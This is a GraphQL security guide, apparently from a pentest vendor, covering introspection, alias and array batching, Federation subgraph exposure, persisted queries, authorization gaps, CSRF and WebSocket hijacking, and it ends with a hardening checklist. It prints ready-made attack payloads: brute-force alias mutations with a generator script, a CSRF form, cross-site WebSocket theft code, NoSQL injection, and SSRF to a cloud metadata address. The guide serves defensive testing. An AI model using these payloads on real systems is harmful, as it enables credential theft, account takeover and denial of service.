TL;DR
GraphQL's flexibility creates a fundamentally different attack surface from REST. The top five exploitable exposures in 2026 are: (1) introspection enabled in production exposing the full schema; (2) batching and alias abuse bypassing rate limits for credential stuffing and OTP brute-force; (3) field-level authorization gaps allowing alias smuggling to access restricted data; (4) Apollo Federation subgraphs exposed directly, bypassing all router security controls; and (5) persisted query implementations that confuse APQ (a performance feature) with actual query safelisting.
GraphQL and REST expose fundamentally different attack surfaces. Understanding the delta is the starting point for any pentest engagement.
| Dimension | REST | GraphQL |
|---|---|---|
| Schema discovery | OpenAPI spec (often absent) | Full schema via introspection |
| Resource enumeration | N endpoints | Single endpoint, N types |
| Batching | Multiple HTTP requests | Single request, 500+ operations |
| Authorization granularity | Endpoint-level | Field-level (often missing) |
| Rate limiting target | HTTP request count | Operations per request (often unlimited) |
| Data exposure | Response shape is fixed | Client-defined shape — over-fetching by design |
| DoS surface | Per-endpoint | Nested query depth * field count |
The most important difference is that GraphQL inverts the documentation problem. A REST API may have no OpenAPI spec, but a GraphQL API with introspection enabled publishes a complete, machine-readable schema of every type, field, mutation, and argument — including deprecated or undocumented ones.
The 2026 attack landscape is shaped by three trends: the widespread adoption of Apollo Federation (which creates subgraph trust boundary violations), the confusion between APQ and genuine query safelisting, and the systematic underinvestment in field-level authorization as schema complexity grows.
__schemaEnabling introspection in production is equivalent to publishing your internal data model, business logic surface, and undocumented admin mutations. The standard introspection query reveals everything:
{
__schema {
types {
name
kind
fields {
name
type { name kind ofType { name kind } }
args { name type { name } }
isDeprecated
deprecationReason
}
}
queryType { name }
mutationType { name }
subscriptionType { name }
}
}CVE-2024-50312 (CVSS: Medium) demonstrates the real-world impact: the OpenShift Console exposed GraphQL introspection without access controls, allowing unauthenticated users to enumerate the full administrative API schema. The patch was included in RHSA-2025:0140.
Disabling introspection is not sufficient. Apollo Server and most major implementations return helpful error messages when a queried field does not exist:
Cannot query field "usr" on type "Query". Did you mean "user", "users", or "userByEmail"?This is the attack surface for Clairvoyance, an open-source tool that systematically submits random field names and harvests suggestions to reconstruct the full schema. The reconstruction is probabilistic but practical — common schemas (users, orders, products, roles) are recovered in minutes using wordlist-based fuzzing.
Mitigation: disable field suggestions via allowedLegacyNames: [] and a custom NoSuggestions validation rule. Apollo Server 4 does not offer a first-class flag for this — it requires a custom validation rule:
import { GraphQLError } from "graphql";
const NoSuggestionsRule = (context) => ({
Field(node) {
// Strip suggestions from all field errors
},
});Enum types leak business logic even when introspection is disabled. If an API returns Cannot query field "role" with value "superadmin", the error confirms that superadmin is a valid enum value. Clairvoyance-style fuzzing against enum arguments reveals the full value set by brute-forcing common terms against known enum fields.
GraphQL Voyager is a schema visualization tool intended for development. When introspection is enabled in production, any user who discovers the endpoint can paste it into GraphQL Voyager and receive an interactive graph of all types and relationships — including admin mutations and internal service fields. Check for /voyager, /graphql/voyager, and embedded GraphiQL consoles accessible without authentication.
GraphQL allows clients to traverse object relationships arbitrarily. Without depth limits, a single query can trigger thousands of database operations:
{
users {
friends {
friends {
friends {
friends {
friends { id email role }
}
}
}
}
}
}A real-world incident in January 2025 used this pattern to trigger a 3-hour outage on a major e-commerce platform. The attack generated thousands of database queries from a single HTTP request, overwhelming the database connection pool before any infrastructure-level rate limit was triggered.
Mitigation: enforce depth limits at the schema validation layer using graphql-depth-limit (Node.js) or graphene-compatible validators (Python). The recommended maximum is 7–10 levels depending on schema complexity.
GraphQL aliases allow a client to execute the same field multiple times under different names within a single request. This is the primary mechanism for bypassing rate limits:
mutation {
a1: login(username: "admin", password: "password1")
a2: login(username: "admin", password: "password2")
a3: login(username: "admin", password: "password3")
# ... repeat 997 more times
}CVE-2024-50311 (OpenShift) was discovered through exactly this pattern — alias-based batching caused server resource exhaustion via a single crafted request.
The critical insight: a rate limiter counting HTTP requests at 10 req/s allows 36,000 operations per hour. The same rate limiter with 500-alias batching allows 18,000,000 operations per hour through the same request budget.
Attack scenarios enabled by alias batching:
mutation resetAll {
r0000: initiateReset(email: "user0000@target.com")
r0001: initiateReset(email: "user0001@target.com")
r0002: initiateReset(email: "user0002@target.com")
}Beyond aliases, many GraphQL servers support JSON array batching — submitting multiple independent operations in a single HTTP request body:
[
{"query": "{ user(id: 1) { email } }"},
{"query": "{ user(id: 2) { email } }"},
{"query": "mutation { login(username: \"admin\", password: \"pass\") }"}
]Unlike alias batching, array batching can mix queries and mutations. The server processes them as a batch, returning an array of results. Disable array batching entirely unless it is a documented, monitored feature.
GraphQL Armor provides defense-in-depth against both vectors: alias count limiting (max-aliases), depth limiting (max-depth), and cost analysis (cost-limit). For Apollo Router, the native demand_control plugin with max_cost configuration is the preferred mechanism.
# apollo-router.yaml
demand_control:
enabled: true
mode: enforce
strategy:
static_estimated:
max: 1000
default_list_size: 10
default_scalar_cost: 1Apollo Federation v2 distributes a GraphQL schema across multiple subgraph services composed by a central router. The trust model has a single critical invariant: subgraphs must be accessible only through the router.
When subgraphs are reachable directly — via misconfigured Kubernetes NetworkPolicy, an exposed internal port, or a load balancer misconfiguration — all router-level security controls are bypassed:
Subgraphs also expose federation coordination fields even when the router's introspection is disabled:
# Direct subgraph query — bypasses router auth
{
_service {
sdl # Returns the full subgraph schema definition language
}
}The _entities field is equally revealing:
{
_entities(representations: [{ __typename: "User", id: "1" }]) {
... on User { id email role internalScore }
}
}Testing methodology: from an external network position, probe internal service ports (4001, 4002, 4003 are common subgraph defaults). If accessible, query { _service { sdl } } to extract the full subgraph schema.
@inaccessible Directive Trust BoundaryApollo Federation's @inaccessible directive marks fields that should not be exposed in the composed supergraph. However, this is a composition-time annotation — the field still exists and is still resolvable at the subgraph level. Direct subgraph access returns @inaccessible fields without restriction.
# In subgraph schema
type User @key(fields: "id") {
id: ID!
email: String!
internalRiskScore: Float @inaccessible # Hidden from supergraph
stripeCustomerId: String @inaccessible # Hidden from supergraph
}Both fields are directly queryable on the subgraph. @inaccessible provides zero security for direct subgraph access — it is a schema composition directive, not an authorization control.
Apollo Router forwards request headers to subgraphs according to its configuration. Misconfigured headers propagation rules can forward sensitive headers (Authorization, X-Internal-Service-Key) to all subgraphs, creating confused deputy vulnerabilities where one subgraph receives credentials intended for another.
# Dangerous: forwarding all headers to all subgraphs
headers:
all:
request:
- propagate:
matching: ".*" # Forwards Authorization, cookies, internal headersScope header forwarding to specific subgraphs and specific header names.
Automatic Persisted Queries (APQ) cache query strings by SHA-256 hash to reduce network overhead. The client sends the hash; if the server has not seen it, it responds with PERSISTED_QUERY_NOT_FOUND and the client retries with the full query. The server then caches the query for future use.
This means any query can be registered via APQ — including introspection queries, deeply nested queries, and alias attacks. APQ is a performance optimization with no security properties.
Apollo's own documentation is explicit: "Automatic Persisted Queries do not provide any security features. If you want to avoid executing arbitrary GraphQL operations, you should use Persisted Operations instead."
A Persisted Query List (PQL) is a server-side allowlist of pre-registered operations generated from first-party clients at build time. The router rejects any operation not present in the list.
The bypass attack: most PQL implementations validate the query hash but not the full operation semantics. A pentester who can register a new operation (by finding a staging or dev endpoint with APQ enabled) can sometimes poison the production PQL if the two environments share the same backing store.
Testing checklist for persisted queries:
PERSISTED_QUERY_NOT_FOUND or equivalentextensions.persistedQuery.sha256Hash field accepts arbitrary hashes or only registered ones__typename aliasing to smuggle restricted fields into a registered operation's shapeBFLA in GraphQL manifests as mutation access without role validation:
# Attacker is authenticated as standard user, calls admin mutation
mutation {
deleteUser(id: "42") { success }
updateUserRole(userId: "99", role: "ADMIN") { user { id role } }
exportAllUserData { downloadUrl }
}Approximately 54% of known GraphQL vulnerabilities relate to broken access control, according to security research across public bug reports. The core cause: GraphQL has no built-in authorization layer. Each resolver must implement its own access checks. As schemas grow, coverage gaps are inevitable without systematic review.
Testing: for every mutation discovered via introspection, attempt execution from a lower-privilege account. Document the mutation signature and test it against each role tier (unauthenticated, standard user, analyst, admin).
Alias smuggling exploits field-level authorization gaps. The Detectify research team documented this pattern in a real New Relic bug where a restricted user could access admin-only licenseKey fields:
# Restricted user's normal query
{
currentAccount {
name
capabilities { name }
}
}
# Smuggled: licenseKey added — returned without authorization check
{
currentAccount {
name
licenseKey # Field requires admin role — not checked at resolver level
capabilities { name }
}
}The root cause is authorization enforced at the operation name or query root level but not at individual resolvers. Field-level authorization must be applied in every resolver, not just at the query root.
A real-world HackerOne finding: Snapchat bug #1819832 — the deleteStorySnaps mutation lacked ownership verification, allowing any authenticated user to delete another user's story snaps. Bounty: $15,000.
GraphQL arguments frequently expose primary keys directly:
{
order(id: 1337) { id total items { productId quantity } customerId }
invoice(id: 8821) { pdfUrl amount dueDate }
}Sequential integer IDs enable full enumeration with minimal requests. A single batch of 500 aliased queries covers 500 resource IDs in one HTTP request. Unlike REST where each resource requires a separate request (and thus hits rate limits), GraphQL batching makes horizontal enumeration dramatically faster.
See the IDOR vulnerability reference for the full attack taxonomy.
GraphQL mutations accept complex input types. If the input type definition is broader than the intended write surface, mass assignment follows:
# Intended mutation
mutation CreateUser($input: CreateUserInput!) {
createUser(input: $input) { id email }
}
# Input type definition — over-permissive
input CreateUserInput {
email: String!
password: String!
role: String # Should not be client-settable
isVerified: Boolean # Should not be client-settable
credits: Int # Should not be client-settable
stripeCustomerId: String # Internal field, leaked in schema
}
# Attack: supply privileged fields
{
"input": {
"email": "attacker@evil.com",
"password": "secure123",
"role": "ADMIN",
"isVerified": true,
"credits": 99999
}
}The mitigation is strict input type design: separate CreateUserInput (public) from AdminCreateUserInput (internal) and never expose privileged fields in publicly accessible input types. See the mass assignment reference for full patterns.
GraphQL CSRF is possible whenever the server accepts mutations via GET requests or via non-JSON content types, because browsers can initiate those requests cross-origin without a preflight.
Some implementations (including older versions of express-graphql) accept mutations passed as URL query parameters:
GET /graphql?query=mutation{deleteAccount(id:"me"){success}}A crafted <img src="https://api.target.com/graphql?query=mutation{...}"> tag triggers the mutation for any authenticated visitor.
When a server accepts application/x-www-form-urlencoded for GraphQL operations, a standard HTML form triggers the mutation:
<form action="https://api.target.com/graphql" method="POST">
<input name="query" value="mutation { updateEmail(email: 'pwned@evil.com') { success } }">
</form>
<script>document.forms[0].submit();</script>CVE-2025-68604 (WPGraphQL plugin, versions prior to 2.5.4) documented exactly this: a CSRF vulnerability in the WPGraphQL WordPress plugin allowed an attacker to trigger state-changing mutations — including creating admin accounts and modifying plugin settings — against authenticated WordPress administrators.
Separately, CVE-2026-33290 (WPGraphQL < 2.10.0) was a Broken Function-Level Authorization flaw in the updateComment mutation allowing low-privilege users to self-approve comments — a distinct issue from the CSRF flaw above.
Research published in early 2026 identified a bypass pattern: CSRF validation applied to JSON requests but not to multipart/form-data parsing paths. If a GraphQL server supports multipart uploads (common for file upload mutations) and does not apply CSRF validation to the multipart code path, the protection is bypassed via a multipart-encoded mutation.
Apollo Router mitigates this class entirely by rejecting all non-JSON content types by default. Custom FastAPI and Express implementations frequently lack this protection.
See the CSRF vulnerability reference for the full cross-site request forgery taxonomy.
The GraphQL schema is a precise contract of what the server accepts. When that contract includes privileged fields, the schema itself becomes the attack documentation.
A pentester's systematic approach:
input types via introspection# Test: does the server accept and apply the role field?
mutation {
updateProfile(input: {
displayName: "Test User"
role: "admin" # Privileged — should be rejected
emailVerified: true # Privileged — should be rejected
internalScore: 9999 # Internal — should not exist in input type
}) {
id displayName role emailVerified
}
}GraphQL subscriptions operate over persistent WebSocket connections, creating a distinct security surface from query and mutation endpoints.
sequenceDiagram
participant Client
participant WS as WebSocket Server
participant Auth as Auth Service
participant DB as Database
Client->>WS: WS Upgrade (no token)
WS->>Client: 101 Switching Protocols
Client->>WS: connection_init { payload: {} }
WS->>Client: connection_ack
Client->>WS: subscribe { query: "subscription { allOrders { id total } }" }
WS->>Auth: Validate token (missing)
Auth->>WS: No token && No error if auth check absent
WS->>DB: Subscribe to all orders
DB->>WS: Stream of ALL orders (cross-user leak)
WS->>Client: order data for all usersThe graphql-ws protocol sends authentication credentials in the connection_init message payload, not in HTTP headers during the WebSocket upgrade. Many implementations validate authentication only on the HTTP upgrade request (where headers are present) and not on the connection_init message. This creates a window where an unauthenticated WebSocket can attempt subscription operations before the auth payload is processed.
Test: initiate a WebSocket connection, send subscribe immediately without sending connection_init. Compliant servers should reject the subscription. Non-compliant servers may start streaming data.
Unlike HTTP requests where each request carries a fresh token, a WebSocket connection persists. Two critical drift scenarios:
A Shopify HackerOne report documented this pattern: revoked user permissions were not immediately applied to active subscriptions, creating a brief window of unauthorized data access.
CVE-2023-38503 (Directus): unauthorized users received real-time subscription updates intended for higher-privileged users due to missing per-event authorization checks.
CVE-2024-54147 (Altair GraphQL client): the client failed to validate HTTPS certificates on WebSocket connections, enabling MITM attacks against active subscriptions.
If the WebSocket upgrade does not validate the Origin header, an attacker's page can initiate a subscription connection using the victim's session cookies:
// Attacker's page — victim's browser makes this request
const ws = new WebSocket("wss://api.target.com/graphql");
ws.onopen = () => {
ws.send(JSON.stringify({
type: "connection_init",
payload: {} // Victim's cookies sent automatically
}));
ws.send(JSON.stringify({
type: "subscribe",
id: "1",
payload: { query: "subscription { notifications { content recipientId } }" }
}));
};
ws.onmessage = (e) => exfiltrate(e.data);Mitigation: validate Origin on the WebSocket upgrade. Reject connections from unrecognized origins. Use wss:// exclusively. Apply SameSite=Strict to session cookies.
See the JWT security reference and SQL injection patterns for adjacent injection vectors in resolver implementations.
GraphQL endpoints do not follow a single URL convention. Check all common paths:
/graphql, /api/graphql, /v1/graphql, /v2/graphql/query, /gql, /graphiql, /graphql/console/api/v1/query, /graphql/v1/v1/graphql, /v2/graphql/graphqlFor mobile apps, extract endpoints from the APK or IPA binary using strings, apktool, or jadx. GraphQL endpoints in mobile apps are often hardcoded strings and appear in the source after decompilation. Look for /graphql, Apollo, or application/json combined with operation patterns.
Passive discovery via Shodan: http.title:"GraphQL Playground" returns exposed development consoles. http.title:"GraphiQL" captures a broader set.
With introspection enabled, extract the full schema:
{
__schema {
types { name kind description fields { name type { name kind } isDeprecated } }
queryType { name }
mutationType { name }
subscriptionType { name }
}
}Import the result into InQL (Burp Suite extension) to generate a structured list of all queries, mutations, and their argument signatures.
With introspection disabled, run Clairvoyance:
python3 -m clairvoyance https://api.target.com/graphql \
--wordlist common.txt \
--output schema.json
# Then import into InQL or VoyagerFor each discovered mutation and sensitive query:
# Step 1: authenticated as low-privilege user
{
currentUser {
id
email
# Add fields that should require elevation
apiKeys { key name createdAt }
billingInfo { cardLast4 stripeId }
internalNotes { content createdBy }
}
}# Generate 1000-alias login attack
aliases = "\n".join(
f' a{i}: login(username: "admin", password: "{pwd}") {{ token }}'
for i, pwd in enumerate(wordlist[:1000])
)
query = f"mutation {{\n{aliases}\n}}"Test both alias batching (same HTTP request, aliased operations) and array batching (JSON array of operation objects).
GraphQL resolvers frequently interface with SQL databases, NoSQL stores, and template engines. Standard injection vectors apply:
# NoSQL injection in MongoDB-backed resolver
{
user(email: "{\"$ne\": null}") { id email role }
}
# SSRF via URL-accepting resolver
{
fetchExternalData(url: "http://169.254.169.254/latest/meta-data/") { content }
}See the SSRF vulnerability reference and NoSQL injection patterns for resolver-level injection payloads.
BreachVex's automated pipeline tests GraphQL endpoints as a first-class attack surface within every scan.
The cartography phase enumerates common GraphQL paths across the target domain and subdomain surface. When a GraphQL endpoint is detected, the navigator agent attempts introspection. On failure (introspection disabled), it runs Clairvoyance-style suggestion fuzzing using a curated 8,000-term wordlist covering common GraphQL schema patterns across e-commerce, SaaS, fintech, and healthcare APIs.
The auth_session squad tests field-level authorization by systematically adding fields from the extracted schema to authorized queries and observing response differences. Any field returned for a lower-privilege role that is documented as requiring higher privilege is flagged as a BFLA finding.
For sensitive operations (login, password reset, OTP verification, email change), the pipeline generates alias-batched variants and submits them to measure:
Every confirmed batching vulnerability includes a captured HTTP request/response pair showing the multi-operation attack as proof of exploitation.
The pipeline tests GraphQL endpoints for GET-based mutation acceptance and non-JSON content type handling. For web application targets with a Playwright browser context, it attempts form-based CSRF against mutation endpoints and captures the HTTP interaction as a browser proof of exploit.
Findings are mapped to OWASP API Security Top 10 categories:
Each finding includes CVSS v3.1 scoring, a reproduction request with exact GraphQL payload, and remediation guidance scoped to the detected framework (Apollo, Hasura, Yoga, Strawberry, Ariadne).
| Control | Tool / Config | Priority |
|---|---|---|
| Disable introspection in production | Apollo Server: introspection: false | Critical |
| Disable field suggestions | Custom NoSuggestions validation rule | Critical |
| Depth limiting | graphql-depth-limit, max 7–10 | Critical |
| Alias count limit | GraphQL Armor max-aliases: 5 | Critical |
| Cost analysis | Apollo Router demand_control | High |
| Disable array batching | Server config | High |
| CSRF: enforce JSON content-type only | Apollo Router CSRF plugin | High |
| Persisted query safelisting (PQL) | Apollo GraphOS PQL | High |
| Subgraph network isolation | Kubernetes NetworkPolicy | Critical |
| WebSocket Origin validation | Server middleware | High |
| Field-level authorization in resolvers | Shield, Pothos, custom middleware | Critical |
| Rate limiting per operation (not per HTTP request) | Redis-backed resolver counters | High |
GraphQL's power comes from its flexibility — and that flexibility is precisely what makes it challenging to secure at scale. The shift from REST eliminates the natural authorization boundaries that endpoint-per-resource architectures provide. Every resolver is now an independent authorization decision point. As schemas grow from dozens to hundreds of types, maintaining consistent field-level authorization coverage without systematic tooling becomes the primary source of exploitable gaps.
The attacks that succeed in 2026 are not novel — they are the same authorization bypass, mass assignment, and DoS patterns applied through GraphQL's unique batching and aliasing mechanisms. The defenders who succeed are those who treat authorization as a schema-wide concern enforced at the resolver layer, not an afterthought applied at the operation root.